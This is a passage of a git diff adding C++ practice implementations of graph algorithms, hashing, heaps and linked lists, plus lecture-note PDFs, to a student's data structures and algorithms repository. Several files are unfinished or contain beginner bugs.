INT_MAX); + dist[start] = 0; + + // For each vertex, apply relaxation for all the edges + for (int v = 0; v < vertices - 1; v++) + { + for (int edges = 0; edges < adj.size(); edges++) + { + for (auto edge : adj[edges]) + { + if (dist[edges] + edge.second < dist[edge.first]) + dist[edge.first] = dist[edges] + edge.second; + } + } + } + + // Run algorithm a second time to detect which nodes are part + // of a negative cycle. A negative cycle has occurred if we + // can find a better path beyond the optimal solution. + for (int v = 0; v < vertices - 1; v++) + { + for (int edges = 0; edges < adj.size(); edges++) + { + for (auto edge : adj[edges]) + { + if (dist[edges] + edge.second < dist[edge.first]) + dist[edge.first] = INT_MIN; + } + } + } + + return dist; +} + +int main() +{ + int n, e; + cout << "Enter no. nodes and edges "; + cin >> n >> e; + + cout << "\nEnter the graph\n"; + + vector> adj(n); + for (int i = 0; i < e; i++) + { + int from, to, weight; + cin >> from >> to >> weight; + adj[from].push_back({to, weight}); + } + + int start; + cout << "\nEnter start node "; + cin >> start; + + cout << "\nDistance from every " << start << " to every node is \n"; + vector dist = bellmanFord(adj, start, n); + for (auto x : dist) + cout << x << " "; + cout << endl; +} \ No newline at end of file diff --git a/DSA/Graphs/bfs.cpp b/DSA/Graphs/bfs.cpp new file mode 100644 index 000000000..30945347a --- /dev/null +++ b/DSA/Graphs/bfs.cpp @@ -0,0 +1,90 @@ +/** In bfs, we traverse the graph in layers, first we look for all the neighbours of + * a node, keep track of the parent of a particular node, and store the nodes in a queue + * then, we backtrack from the end node and store the path as the shortest path + * It is used to calculate the shortest path **/ +#include +using namespace std; + +// this function does the actual bfs, visits every node that is connected from start +// it returns array of the parent of nodes + +vector solve(vector> &adj, int start, int n) +{ + queue q; + q.push(start); + vector visited(n, false); + visited[start] = true; + + vector prev(n, -1); + while (!q.empty()) + { + int node = q.front(); + q.pop(); + vector neighbour = adj[node]; + for (auto next : neighbour) + { + if (!visited[next]) + { + q.push(next); + visited[next] = true; + prev[next] = node; + } + } + } + + return prev; +} + +// this function takes the parent array of the nodes, and checks if there exists a path +// between start and the end node and returns that path + +vector reconstructPath(int start, int end, vector prev) +{ + vector path; + for (int x = end; x != -1; x = prev[x]) + path.push_back(x); + + reverse(path.begin(), path.end()); + + if (path[0] == start) + return path; + + return {}; +} + +vector bfs(vector> &adj, int start, int end, int n) +{ + + vector prev = solve(adj, start, n); + return reconstructPath(start, end, prev); +} + +int main() +{ + int n, e; + cout << "Enter no. of nodes and edges "; + n = 13, e = 15; + cout << "\nEnter the map "; + vector> adj(n); + for (int i = 0; i < e; i++) + { + int x, y; + cin >> x >> y; + adj[x].push_back(y), adj[y].push_back(x); + } + + int start, end; + cout << "\nEnter start node and end node "; + cin >> start >> end; + + cout << "\nShortest path between " << start << " and " << end << " \n"; + vector path = bfs(adj, start, end, n); + if (path.size() > 0) + { + for (auto x : path) + cout << x << " "; + cout << endl; + } + else + cout << "\nNo path\n"; +} \ No newline at end of file diff --git a/DSA/Graphs/bridges.cpp b/DSA/Graphs/bridges.cpp new file mode 100644 index 000000000..11421e4c0 --- /dev/null +++ b/DSA/Graphs/bridges.cpp @@ -0,0 +1,59 @@ +/** Brides are the edges upon removing the no. of connected component increases + * To do this, we will use the a property called low-link values of every node + * low link value of a node is defined as the minimum id of a reachable node from + * the current node + * Hence, we will store the id of the nodes as well as the low link values **/ + +/** To find if a edge is a bridge, we will use a property -- + * id(edge.from) < low-link(edge.to), that means + * if the id of current node is lesser than the low link of the node connected to it + * then that edge is a bridge **/ + +#include +using namespace std; + +vector ids(1000, 0); +vector low_link(1000, 0); +vector visited(1000, false); +int id = 0; // to store the unique ids of every node + +void dfs(vector> adj, int at, int parent, vector &bridges) +{ + visited[at] = true; + id++; + ids[at] = low_link[at] = id; + + for (auto to : adj[at]) + { + // since it is an undirected graph, it will certainly happen + if (to == parent) + continue; + + if (!visited[to]) + { + dfs(adj, to, at, bridges); + + // this sets the low link values in just one pass + low_link[at] = min(low_link[at], low_link[to]); + + // we check this condition for the edge to be a bridge + if (ids[at] < low_link[to]) + bridges.push_back(at), bridges.push_back(to); + } + else // if we visit a node previouly visited, we ensures that we have the least value of lowlink to it + low_link[at] = min(low_link[at], low_link[to]); + } +} + +vector findBridges(vector> adj, int numNodes) +{ + vector bridges; + for (int i = 0; i < numNodes; i++) + { + // we pass -1 as the parent of 1st node is none + if (!visited[i]) + dfs(adj, i, -1, bridges); + } + + return bridges; +} \ No newline at end of file diff --git a/DSA/Graphs/dfs.cpp b/DSA/Graphs/dfs.cpp new file mode 100644 index 000000000..541e7e6fb --- /dev/null +++ b/DSA/Graphs/dfs.cpp @@ -0,0 +1,58 @@ +/** Depth first search + * We keep a visited array to mark the nodes which we have already visited, + * if not visited, mark the current node as true, and do the dfs in nodes connected + * from the current node **/ + +#include +using namespace std; + +vector component(10000, 0); // to color the nodes +int counter = 0; // to count the no. of connected component + +void dfs(int node, vector> &adj, vector &visited) +{ + if (visited[node]) + return; + component[node] = counter; + visited[node] = true; + vector neigh = adj[node]; + for (int i = 0; i < neigh.size(); i++) + dfs(neigh[i], adj, visited); +} + +pair> connectedComponents(vector> &adj, vector &visited) +{ + for (int i = 0; i < adj.size(); i++) + { + if (!visited[i]) + { + counter++; + dfs(i, adj, visited); /** all the nodes which are connected from i are colored as + counter and are under same component **/ + } + } + return {counter, component}; +} + +int main() +{ + int n, e; + cout << "Enter no. of nodes and edges "; + n = 13, e = 14; + cout << "\nEnter the map "; + vector> adj(n + 1); + for (int i = 0; i < e; i++) + { + int x, y; + cin >> x >> y; + adj[x].push_back(y), adj[y].push_back(x); + } + vector visited(n + 1, false); + + pair> p = connectedComponents(adj, visited); + cout << "No. of connected components " << p.first << endl; + cout << "The colors are "; + for (int i = 0; i < n + 1; i++) + cout << p.second[i] << " "; + cout << endl; +} diff --git a/DSA/Graphs/dijkstra.cpp b/DSA/Graphs/dijkstra.cpp new file mode 100644 index 000000000..74c2ef88d --- /dev/null +++ b/DSA/Graphs/dijkstra.cpp @@ -0,0 +1,168 @@ +/** Dijkstra shortest path, it uses a min heap priority queue sorted by the weight + * of the node, it takes O(E*log(v)) depending on how we implement the queue **/ + +// this method is also called lazy implementation because we push the same nodes again +// when their distance updates, we can do some optimization for it +// also because it is easy to insert value in the pq in O(log(n)) than to search +// and update the value + +/** In the eager version of dijkstra, we can use an indexed pq, where + * we can update the values of weights and we dont have to duplicate **/ + +// SSSP - Single source shortest path this means we can find shortest distance from source +// to every other node + +#include +#include +#define pd pair // first is the node, second is edge weight +using namespace std; + +struct myComp +{ + constexpr bool operator()( + pair const &a, + pair const &b) + const noexcept + { + return a.second > b.second; + } +}; + +/** Here we greedily push the values in the pq, having the least distance from + * the current node, this only applies when all the edge weights are +ve **/ + +pair, vector> dijkstra(vector> adj, int numNodes, int start) +{ + bool visited[numNodes] = {false}; + vector dist(numNodes, INT_MAX); + // to show the min path we store the parent values in array + vector prev(numNodes, -1); + dist[start] = 0; + priority_queue, myComp> q; + q.push({start, 0}); + while (!q.empty()) + { + int index = q.top().first, minValue = q.top().second; + q.pop(); + visited[index] = true; + + if (dist[index] < minValue) // to avoid pushing duplicate nodes when distance updates + continue; + + for (auto edge : adj[index]) + { + if (visited[edge.first]) + continue; + + int newDist = dist[index] + edge.second; + // we want to update the distance of the next node from the current one + if (newDist < dist[edge.first]) + { + prev[edge.first] = index; + dist[edge.first] = newDist; + q.push({edge.first, newDist}); + } + } + } + + return {dist, prev}; +} + +// to find the minimum path route +vector findShortestPath(vector> adj, int start, int end, int numNodes) +{ + vector prev = dijkstra(adj, numNodes, start).second; + vector dist = dijkstra(adj, numNodes, start).first; + + vector path; + + if (dist[end] == INT_MAX) + return {}; + + for (auto at = end; at != -1; at = prev[at]) + path.push_back(at); + + reverse(path.begin(), path.end()); + return path; +} + +/** If we want to find shortest distance to one particular node, we can stop early if we encounter + * the node, since dijkstra is greedy, once a node is visited, its distance doesnt change + * on futher iterations so we can stop early**/ + +int dijkstraEarly(vector> adj, int numNodes, int start, int end) +{ + bool visited[numNodes] = {false}; + vector dist(numNodes, INT_MAX); + // to show the min path we store the parent values in array + vector prev(numNodes, -1); + dist[start] = 0; + priority_queue, myComp> q; + q.push({start, 0}); + while (!q.empty()) + { + int index = q.top().first, minValue = q.top().second; + q.pop(); + visited[index] = true; + + if (dist[index] < minValue) // to avoid pushing duplicate nodes when distance updates + continue; + + for (auto edge : adj[index]) + { + if (visited[edge.first]) + continue; + + int newDist = dist[index] + edge.second; + // we want to update the distance of the next node from the current one + if (newDist < dist[edge.first]) + { + prev[edge.first] = index; + dist[edge.first] = newDist; + q.push({edge.first, newDist}); + } + } + + if (index == end) + return dist[end]; + } + + return INT_MAX; +} + +int main() +{ + int n, e; + cout << "Enter no. nodes and edges "; + cin >> n >> e; + + cout << "\nEnter the graph\n"; + + vector> adj(n); + for (int i = 0; i < e; i++) + { + int from, to, weight; + cin >> from >> to >> weight; + adj[from].push_back({to, weight}); + } + + int start; + cout << "\nEnter start node "; + cin >> start; + + int end; + cout << "\nEnter end node "; + cin >> end; + + cout << "\nDistance from " << start << " to every node \n"; + vector dist = dijkstra(adj, n, start).first; + for (auto x : dist) + cout << x << " "; + cout << endl; + + cout << "\n Shortest path from " << start << " till " << end << " \n"; + vector path = findShortestPath(adj, start, end, n); + for (int i = 0; i < path.size(); i++) + cout << path[i] << " "; + cout << endl; +} \ No newline at end of file diff --git a/DSA/Graphs/dungeon.cpp b/DSA/Graphs/dungeon.cpp new file mode 100644 index 000000000..3fc0e9ad1 --- /dev/null +++ b/DSA/Graphs/dungeon.cpp @@ -0,0 +1,108 @@ +/** There is a dungeon with unit cubes, if '.' then it is an empty cell + * if '#' then it contains rock, we start at 'S' and exit is at 'E' + * find if it contains a path from S to E, if it exits, find the shortest + * distance from S to E, else print -1 **/ + +#include +using namespace std; + +/** To represent 4 directions in which we can go, we can make use of the + * direction vectors **/ +// North, south, east, west +int dr[4] = {-1, 1, 0, 0}; +int dc[4] = {0, 0, 1, -1}; + +/** Instead of storing a pair of x,y co ordinates in a queue, we can make 2 queue + * and store x and y in it separately **/ +queue qr, qc; + +int moves = 0, nodes_left_in_current = 1, nodes_left_in_next = 0; + +void exploreNeighbours(int r, int c, int R, int C, vector> &visited, + vector> &grid) +{ + for (int i = 0; i < 4; i++) + { + int rr = r + dr[i], cc = c + dc[i]; + if (rr < 0 || cc < 0) + continue; + + if (rr >= R || cc >= C) + continue; + + if (visited[rr][cc]) + continue; + + if (grid[rr][cc] == '#') + continue; + + qr.push(rr), qc.push(cc); + visited[rr][cc] = true; + nodes_left_in_next++; + } +} + +int solve(vector> &grid, vector> &visited, int startX, + int startY, int R, int C) +{ + qr.push(startX), qc.push(startY); + visited[startX][startY] = true; + bool reached = false; + + while (!qr.empty()) + { + int r = qr.front(), c = qc.front(); + qr.pop(), qc.pop(); + + if (grid[r][c] == 'E') + { + reached = true; + break; + } + exploreNeighbours(r, c, R, C, visited, grid); + nodes_left_in_current--; // since we already visited r and c + + /** to make sure we only count moves when we go to the next layer**/ + if (nodes_left_in_current == 0) + { + nodes_left_in_current = nodes_left_in_next; + nodes_left_in_next = 0; + moves++; + } + } + + if (reached) + return moves; + return -1; +} + +int main() +{ + int R, C; + cout << "Enter no. of rows and columns "; + cin >> R >> C; + + vector> grid(R, vector(C, '.')); + int startX = 0, startY = 0; + cout << "\nEnter the grid \n"; + for (int i = 0; i < R; i++) + { + for (int j = 0; j < C; j++) + { + char d; + cin >> d; + grid[i][j] = d; + if (grid[i][j] == 'S') + startX = i, startY = j; + } + } + + vector> visited(R, vector(C, false)); + + int x = solve(grid, visited, startX, startY, R, C); + if (x != -1) + cout << "\nNo. of shortest steps " << x << endl; + + else + cout << "No path!\n"; +} \ No newline at end of file diff --git a/DSA/Graphs/floyd_warshall.cpp b/DSA/Graphs/floyd_warshall.cpp new file mode 100644 index 000000000..aa4cce08c --- /dev/null +++ b/DSA/Graphs/floyd_warshall.cpp @@ -0,0 +1,76 @@ +/** Floyd Warshall is good for graphs having few hundred edges, as it has + * a runtime of O(v^3), but it is a APSP graph - meaning + * All Pair Shortest Path, it gives the shortest path between all the pairs **/ + +/** It uses a adjacency matrix to store the graph, and it uses dynamic programming + * to find the optimal way from node i to node j **/ + +/** Basically, it finds the shortest path from node i to j through a node k, + * it finds the distance between i -> k + k-> j and i -> j + * then updates the shortest path among the two **/ + +/** To show the adjacency matrix, we can put infinity to the nodes + * from which current node is not reachable **/ + +#include +using namespace std; + +const long long MAX = 1e16; + +void setup(vector> adj, vector> &dp, vector> &next, int numNodes) +{ + for (int i = 0; i < numNodes; i++) + { + for (int j = 0; j < numNodes; j++) + { + dp[i][j] = adj[i][j]; + if (adj[i][j] != MAX) + next[i][j] = j; + // this is the shortest distance from i to j initially + } + } +} + +void propagateNegativeCycle(vector> dp, vector> next, int numNodes) +{ + + /** Run the FW algorithm a second time and if we find a distance lesser than the previous + * that means those nodes are a part of a negative cycle and we mark them **/ + for (int k = 0; k < numNodes; k++) + { + for (int i = 0; i < numNodes; i++) + { + for (int j = 0; j < numNodes; j++) + { + if (dp[i][k] + dp[k][j] < dp[i][j]) + dp[i][j] = INT32_MIN, next[i][j] = -1; + // if the distance than previous, we encounter a cycle + } + } + } +} + +vector> floydWarshall(vector> adj, vector> dp, int numNodes) +{ + vector> next(numNodes, vector(numNodes, 0)); + setup(adj, dp, next, numNodes); + + for (int k = 0; k < numNodes; k++) + { + for (int i = 0; i < numNodes; i++) + { + for (int j = 0; j < numNodes; j++) + { + if (dp[i][k] + dp[k][j] < dp[i][j]) + dp[i][j] = dp[i][k] + dp[k][j], next[i][j] = next[i][k]; + // if the distance is lesser in going through other nodes + // then we update the distance from i to j as going from k in the 'next' array + } + } + } + + // go through here to ensure that graph doesnt have a negative cycle + propagateNegativeCycle(dp, next, numNodes); + + return dp; +} \ No newline at end of file diff --git a/DSA/Graphs/make_graph-2.cpp b/DSA/Graphs/make_graph-2.cpp new file mode 100644 index 000000000..952a72091 --- /dev/null +++ b/DSA/Graphs/make_graph-2.cpp @@ -0,0 +1,44 @@ +//weighted graphs using hashmap + +#include +using namespace std; + +class Graph{ + unordered_map>>l; + + public: + void addEdges(string x, string y,int val) + { + l[x].push_back(make_pair(y,val)); + l[y].push_back(make_pair(x,val)); + } + + void print() + { + //iterate over all the keys in the hash map + for(auto x:l) + { + string city=x.first; + list>nbrs=x.second; + + cout<"; + + for(auto nbr:nbrs) + { + string dest=nbr.first; + int dist=nbr.second; + cout< +using namespace std; + +class Graph{ + int v; + + //pointer list of vertices + list*l; + public: + Graph(int v) + { + this->v=v; + l=new list[v]; + } + + void addEdges(int x, int y) + { + l[x].push_back(y); + l[y].push_back(x); + } + + void print() + { + for(int i=0;i"; + for(auto x:l[i]) + cout< +using namespace std; + +const int MAX = INT32_MAX; + +int dfs(int i, int node, vector &ordering, vector>> adj, + vector &vis) +{ + vis[node] = true; + vector> neighbour = adj[node]; + + for (auto next : neighbour) + { + if (!vis[next.first]) + i = dfs(i, next.first, ordering, adj, vis); + } + + ordering[i] = node; // we push the current node in the list of visited to maintain the order + return i - 1; +} + +vector topologicalSort(vector>> adj, int N) +{ + vector vis(N, false); + vector ordering(N, 0); + int i = N - 1; // we start from last because visit the end nodes first + for (int at = 0; at < N; at++) // we keep doing this until all the nodes are not visited + { + if (!vis[at]) + i = dfs(i, at, ordering, adj, vis); + } + + return ordering; +} + +// first pair contains the outgoing edges, second contains its weight +vector minDistance(vector>> adj, int start, int numNodes) +{ + vector distance(numNodes, MAX); + vector topOrder = topologicalSort(adj, numNodes); + + distance[start] = 0; + + // We will start traversing in topological order + for (int i = 0; i < numNodes; i++) + { + int nodeIndex = topOrder[i]; + if (distance[nodeIndex] != MAX) + { + vector> adjacentEdge = adj[nodeIndex]; + if (adjacentEdge.size() > 0) + { + for (auto edge : adjacentEdge) + { + int newDist = distance[nodeIndex] + edge.second; + if (distance[edge.first] == MAX) + distance[edge.first] = newDist; + else + distance[edge.first] = min(distance[edge.first], newDist); + } + } + } + } + + return distance; +} + +int main() +{ + int n, e; + cout << "Enter no. nodes and edges "; + cin >> n >> e; + + cout << "\nEnter the graph\n"; + + vector>> adj(n); + for (int i = 0; i < e; i++) + { + int from, to, weight; + cin >> from >> to >> weight; + adj[from].push_back({to, weight}); + } + + int start; + cout << "\nEnter start node "; + cin >> start; + + cout << "\nDistance from " << start << " to every node \n"; + + vector dist = minDistance(adj, start, n); + for (auto x : dist) + cout << x << " "; + cout << endl; +} \ No newline at end of file diff --git a/DSA/Graphs/tarjan_scc.cpp b/DSA/Graphs/tarjan_scc.cpp new file mode 100644 index 000000000..6fe901755 --- /dev/null +++ b/DSA/Graphs/tarjan_scc.cpp @@ -0,0 +1,102 @@ +/** A strongly connected component of a graph is a subgraph + * such that all vertices of the subgraph are connected to each other, + * means we can reach every other vertices in the subgraph from any vertices **/ + +/** Tarjan's SCC algorithm uses stack to keep track of the nodes while we are visiting + * such that all the nodes of which we have explored the neighbours, we will first push + * them in the stack and when it is completed, we pop them one by one **/ + +/** We will also use the concept of low-link values, while giving the nodes initially + * id == low_link, if the current has a low-link value equal to id, then it can be + * the start of a SCC, but we can't be sure **/ + +#include +using namespace std; + +const int UNVISITED = -1; +int id = 0; // to give the nodes unique id +int cntSCC = 0; // no. of SCCs + +int n = 8; // no. of nodes in the graph + +vector ids(8, 0); +vector low_link(8, 0); +vector onStack(8, 0); // to keep track of which element is currently on stack + +stack st; + +void dfs(int at, vector> adj) +{ + // add the current node to the stack + st.push(at); + onStack[at] = true; + + // first give ids == low link value + ids[at] = low_link[at] = id++; + + for (auto to : adj[at]) + { + if (ids[to] == UNVISITED) + dfs(to, adj); + + // if the current element is on the stack, we update the low link + // value + if (onStack[to]) + low_link[at] = min(low_link[to], low_link[at]); + + // we have visited all the neighbour of the current node + // now we will see if lowlink of current equals id, and pop off the stack + + if (ids[at] == low_link[at]) + { + while (!st.empty()) + { + int node = st.top(); + st.pop(); + + // remove the curr node from stack + onStack[node] = false; + low_link[node] = ids[at]; + + if (node == at) + break; + } + cntSCC++; + } + } +} + +void findSCC(vector> adj) +{ + for (int i = 0; i < n; i++) + ids[i] = UNVISITED; + + for (int i = 0; i < n; i++) + { + if (ids[i] == UNVISITED) + dfs(i, adj); + } +} + +// all the nodes which have ids == low_Link, will now be in a strongly connected comp + +int main() +{ + int e; + cout << "Enter no. nodes and edges "; + cin >> e; + + cout << "\nEnter the graph\n"; + + vector> adj(8); + for (int i = 0; i < e; i++) + { + int from, to; + cin >> from >> to; + adj[from].push_back(to); + } + + findSCC(adj); + cout << "No. of strongly connected components are "; + cout << cntSCC << endl; +} \ No newline at end of file diff --git a/DSA/Graphs/topological_sort.cpp b/DSA/Graphs/topological_sort.cpp new file mode 100644 index 000000000..440fa443a --- /dev/null +++ b/DSA/Graphs/topological_sort.cpp @@ -0,0 +1,114 @@ +/** We find the order in which when traversed it gives an order such that + * all the nodes goes to the right when they are linearly arranged **/ + +#include +using namespace std; + +int dfs(int i, int node, vector &ordering, vector> adj, vector &vis) +{ + vis[node] = true; + vector neighbour = adj[node]; + + for (auto next : neighbour) + { + if (!vis[next]) + i = dfs(i, next, ordering, adj, vis); + } + + ordering[i] = node; // we push the current node in the list of visited to maintain the order + return i - 1; +} + +vector topologicalSort(vector> adj, int N) +{ + vector vis(N, false); + vector ordering(N, 0); + int i = N - 1; // we start from last because visit the end nodes first + for (int at = 0; at < N; at++) // we keep doing this until all the nodes are not visited + { + if (!vis[at]) + i = dfs(i, at, ordering, adj, vis); + } + + return ordering; +} + +/** Another approach for topological sort is called Kahn's Algorithm, + * here we maintain the in_degree of every node + * In_degree - no. of incoming edges in a graph + * we can also use it to detect cycles, in a DAG, let u to v be the acyclic longest + * path, that means in_degree(u) = 0 and in_degree(v) = 1 + * + * We can do the following, keep track of every node's in_degree + * and store in a queue the nodes whose in_degree is 0 + * then we go pop the queue, store the topological order and visit all the + * connected nodes and update the in_degree of nodes as -1 of current, then if any node + * has in_degree == 0, push it in queue and keep the count of the no. of nodes visited, + * if cnt < no. of nodes, then graph has a cycle **/ + +vector TopSortKahn(vector> adj, int n) +{ + + int cnt = 0; // no. of nodes visited + vector in_degree(n, 0); + vector top_order; + for (int i = 0; i < n; i++) + { + for (auto next : adj[i]) + in_degree[next]++; + } + + queue q; + for (int i = 0; i < n; i++) + { + if (in_degree[i] == 0) + q.push(i); + } + + while (!q.empty()) + { + int x = q.front(); + q.pop(); + top_order.push_back(x); + + for (auto next : adj[x]) + { + if (--in_degree[next] == 0) + q.push(next); + } + + cnt++; + } + + if (cnt != n) + return {-1}; + + return top_order; +} + +int main() +{ + int n, e; + cout << "Enter no. nodes and edges "; + cin >> n >> e; + + vector> adj(n); + for (int i = 0; i < e; i++) + { + int from, to; + cin >> from >> to; + adj[from].push_back(to); + } + + vector ordering = topologicalSort(adj, n); + cout << "Topological ordering normal \n"; + for (auto x : ordering) + cout << x << " "; + cout << endl; + + ordering = TopSortKahn(adj, n); + cout << "Topological ordering Kahn's \n"; + for (auto x : ordering) + cout << x << " "; + cout << endl; +} \ No newline at end of file diff --git a/DSA/Hashing/make_hashmap.cpp b/DSA/Hashing/make_hashmap.cpp new file mode 100644 index 000000000..357bb2d8a --- /dev/null +++ b/DSA/Hashing/make_hashmap.cpp @@ -0,0 +1,102 @@ +#include +using namespace std; + +template +class Node{ + public: + string key; + T value; + Node*next; + + Node(string key, T val) + { + this->key=key; + value=val; + next=NULL; + + if(next!=NULL) + delete next; + } +}; + +template +class Hashtable{ + + //pointer pointing to array of pointers + Node**table; + int curr_size; + int table_size; + + int hash(string key) + { + int idx=0; + int pow=1; + + for(int i=0;i**oldTable=table; + table_size=2*table_size; + table=new Node*[table_size]; + + for(int i=0;i*[table_size]; + curr_size=0; + + for(int i=0;i*n=new Node(key,val); + n->next=table[idx]; + table[idx]=n; + curr_size++; + + //rehashing + float load_factor=curr_size/table_size; + if(load_factor>0.7) + rehash(); + } + + void erase(string key) + { + + } + + T search(string key) + { + + } +}; + +int main() { + +} diff --git a/DSA/Heaps/SmallestRangeInKLists.cpp b/DSA/Heaps/SmallestRangeInKLists.cpp new file mode 100644 index 000000000..449c51a8f --- /dev/null +++ b/DSA/Heaps/SmallestRangeInKLists.cpp @@ -0,0 +1,85 @@ +// Problem : Smallest range in K lists +// +// Problem Link: https://practice.geeksforgeeks.org/problems/find-smallest-range-containing-elements-from-k-lists/1# +// +// Input: +// N = 5, K = 3 +// KSortedArray[][] = {{1 3 5 7 9}, +// {0 2 4 6 8}, +// {2 3 5 7 11}} +// Output: 1 2 +// Explanation: K = 3 +// A:[1 3 5 7 9] +// B:[0 2 4 6 8] +// C:[2 3 5 7 11] +// Smallest range is formed by number 1 +// present in first list and 2 is present +// in both 2nd and 3rd list. + +// Solution: +// { Driver Code Starts +#include +using namespace std; +#define N 1000 + + + // } Driver Code Ends +// you are required to complete this function +// function should print the required range +class Solution{ + public: + pair findSmallestRange(int arr[][N], int n, int k) + { + //code here + priority_queue,vector>,greater>> pq; + int maxi=INT_MIN, minrange=INT_MAX, start; + for(int i=0;i p=pq.top(); + pq.pop(); + int mini=p.first; + int range=maxi-mini; + if(range>t; + while(t--) + { + int n, k; + cin>>n>>k; + int arr[N][N]; + pair rangee; + for(int i=0; i>arr[i][j]; + Solution obj; + rangee = obj.findSmallestRange(arr, n, k); + cout< +using namespace std; + +class heap{ + vectorv; + bool minHeap; + public: + Heap(int size=10,bool type=true) + { + //vector won't expand till size exceeds 10 + v.reserve(size); + + //blocking 0th index + v.push_back(-1); + minHeap=type; + } + + void insert(int d) + { + v.push_back(d); + int idx=v.size()-1; + int parent=idx/2; + + + while(idx>1 and v[idx]>v[parent]) + { + swap(v[idx],v[parent]); + parent=idx; + parent=parent/2; + } + } +}; + +int main() { + +} diff --git a/DSA/Heaps/remove_max_min.cpp b/DSA/Heaps/remove_max_min.cpp new file mode 100644 index 000000000..7249847f1 --- /dev/null +++ b/DSA/Heaps/remove_max_min.cpp @@ -0,0 +1,36 @@ +#include +using namespace std; + +class heap{ + vectorv; + bool minHeap; + public: + Heap(int size=10,bool type=true) + { + //vector won't expand till size exceeds 10 + v.reserve(size); + + //blocking 0th index + v.push_back(-1); + minHeap=type; + } + + void insert(int d) + { + v.push_back(d); + int idx=v.size()-1; + int parent=idx/2; + + + while(idx>1 and v[idx]>v[parent]) + { + swap(v[idx],v[parent]); + parent=idx; + parent=parent/2; + } + } +}; + +int main() { + +} diff --git a/DSA/Linked lists/all_methods.cpp b/DSA/Linked lists/all_methods.cpp new file mode 100644 index 000000000..ea4bfd812 --- /dev/null +++ b/DSA/Linked lists/all_methods.cpp @@ -0,0 +1,226 @@ +#include +using namespace std; + +class node{ +public: + int data; + node* next; + + node(int data){ + this->data = data; + next = NULL; + } +}; +//----------Linked List-----------// +void insertAtHead(node * &head,int data){ + if(head==NULL){ + head = new node(data); + return; + } + //otherwise + node * n = new node(data); + n->next = head; + head = n; +} + +void insertInMiddle(node* &head, int data, int pos){ + if(pos==0){ + insertAtHead(head,data); + } + + else{ + node * temp = head; + for(int jump=1;jump<=pos-1;jump++){ + temp = temp->next; + } + + node * n = new node(data); + n->next = temp->next; + temp->next = n; + + } +} + +node* recReverse(node *head){ + //base case + if(head==NULL or head->next==NULL){ + return head; + } + //otherwise + node* sHead = recReverse(head->next); + head->next->next = head; + head->next = NULL; + return sHead; +} + +void reverse(node *&head){ + node* prev = NULL; + node* current = head; + node * temp; + + while(current!=NULL){ + //store next + temp = current->next; + //update the current + current->next = prev; + + //prev and current + prev = current; + current = temp; + } + + head = prev; + return; +} + + +node* kReverse(node *head,int k){ + //base case + if(head==NULL){ + return NULL; + } + + //reverse the first k nodes + node* prev = NULL; + node* current = head; + node * temp; + int cnt = 1; + + while(current!=NULL and cnt<=k){ + //store next + temp = current->next; + //update the current + current->next = prev; + + //prev and current + prev = current; + current = temp; + cnt++; + } + + if(temp!=NULL){ + head->next = kReverse(temp,k); + } + return prev; +} + +node* merge(node *a, node* b){ + //Complete this method + //base case + if(a==NULL){ + return b; + } + if(b==NULL){ + return a; + } + + //rec case + node * c; + + if(a->data < b->data){ + c = a; + c->next = merge(a->next,b); + } + else{ + c = b; + c->next = merge(a,b->next); + } + return c; +} + +node* midPoint(node *head){ + + node * slow = head; + node * fast = head->next; + + while(fast!=NULL and fast->next!=NULL){ + slow = slow->next; + fast = fast->next->next; + } + return slow; +} + + +//ToDo : MergeSort +node* mergeSort(node * head){ + //base case + if(head==NULL or head->next==NULL){ + return head; + } + + //rec case + node * mid = midPoint(head); + + //Break at the mid + node * a = head; + node * b = mid->next; + mid->next = NULL; + + //Recursive Sort + a = mergeSort(a); + b = mergeSort(b); + + //Merge + return merge(a,b); + +} + + +void printLL(node * head){ + + while(head!=NULL){ + cout <data <<"-->"; + head = head->next; + } + cout < 5 -> 7 -> 10 -> NULL + // 2 , 3, 6 + /* + node* a = NULL; + insertAtHead(a,10); + insertAtHead(a,7); + insertAtHead(a,5); + insertAtHead(a,1); + + node* b = NULL; + insertAtHead(b,6); + insertAtHead(b,3); + insertAtHead(b,2); + node* head = merge(a,b); + printLL(head); + */ + + /* + node* head = NULL; + insertAtHead(head,4); + insertAtHead(head,3); + insertAtHead(head,2); + insertAtHead(head,1); + insertAtHead(head,0); + printLL(head); + head = kReverse(head,3); + printLL(head);*/ + + return 0; +} \ No newline at end of file diff --git a/DSA/Notes and examples/04-arrays.pdf b/DSA/Notes and examples/04-arrays.pdf new file mode 100644 index 000000000..b5a073958 Binary files /dev/null and b/DSA/Notes and examples/04-arrays.pdf differ diff --git a/DSA/Notes and examples/10. Char Arrays.pdf b/DSA/Notes and examples/10. Char Arrays.pdf new file mode 100644 index 000000000..691d2c6ae Binary files /dev/null and b/DSA/Notes and examples/10. Char Arrays.pdf differ diff --git a/DSA/Notes and examples/11. Pointers - Apni kaksha.pdf b/DSA/Notes and examples/11. Pointers - Apni kaksha.pdf new file mode 100644 index 000000000..fe6d796c4 Binary files /dev/null and b/DSA/Notes and examples/11. Pointers - Apni kaksha.pdf differ diff --git a/DSA/Notes and examples/12 .DMA - Apni Kaksha .pdf b/DSA/Notes and examples/12 .DMA - Apni Kaksha .pdf new file mode 100644 index 000000000..dbf7220ba Binary files /dev/null and b/DSA/Notes and examples/12 .DMA - Apni Kaksha .pdf differ diff --git a/DSA/Notes and examples/13.1 StringChallenges.pdf b/DSA/Notes and examples/13.1 StringChallenges.pdf new file mode 100644 index 000000000..17b152b8a Binary files /dev/null and b/DSA/Notes and examples/13.1 StringChallenges.pdf differ diff --git a/DSA/Notes and examples/14.2 Bit Manipulation II - Apni Kaksha (1).pdf b/DSA/Notes and examples/14.2 Bit Manipulation II - Apni Kaksha (1).pdf new file mode 100644 index 000000000..6cc93b58e Binary files /dev/null and b/DSA/Notes and examples/14.2 Bit Manipulation II - Apni Kaksha (1).pdf differ diff --git a/DSA/Notes and examples/14.3 BIT Manipulation.pdf b/DSA/Notes and examples/14.3 BIT Manipulation.pdf new file mode 100644 index 000000000..f44985c02 Binary files /dev/null and b/DSA/Notes and examples/14.3 BIT Manipulation.pdf differ diff --git a/DSA/Notes and examples/16.1 Recursion I - Notes.pdf b/DSA/Notes and examples/16.1 Recursion I - Notes.pdf new file mode 100644 index 000000000..80bee5bcc Binary files /dev/null and b/DSA/Notes and examples/16.1 Recursion I - Notes.pdf differ diff --git a/DSA/Notes and examples/16.2 Recursion 1.2 - Notes-1.pdf b/DSA/Notes and examples/16.2 Recursion 1.2 - Notes-1.pdf new file mode 100644 index 000000000..84652d58e Binary files /dev/null and b/DSA/Notes and examples/16.2 Recursion 1.2 - Notes-1.pdf differ diff --git a/DSA/Notes and examples/16.4 Advanced Recursion.pdf b/DSA/Notes and 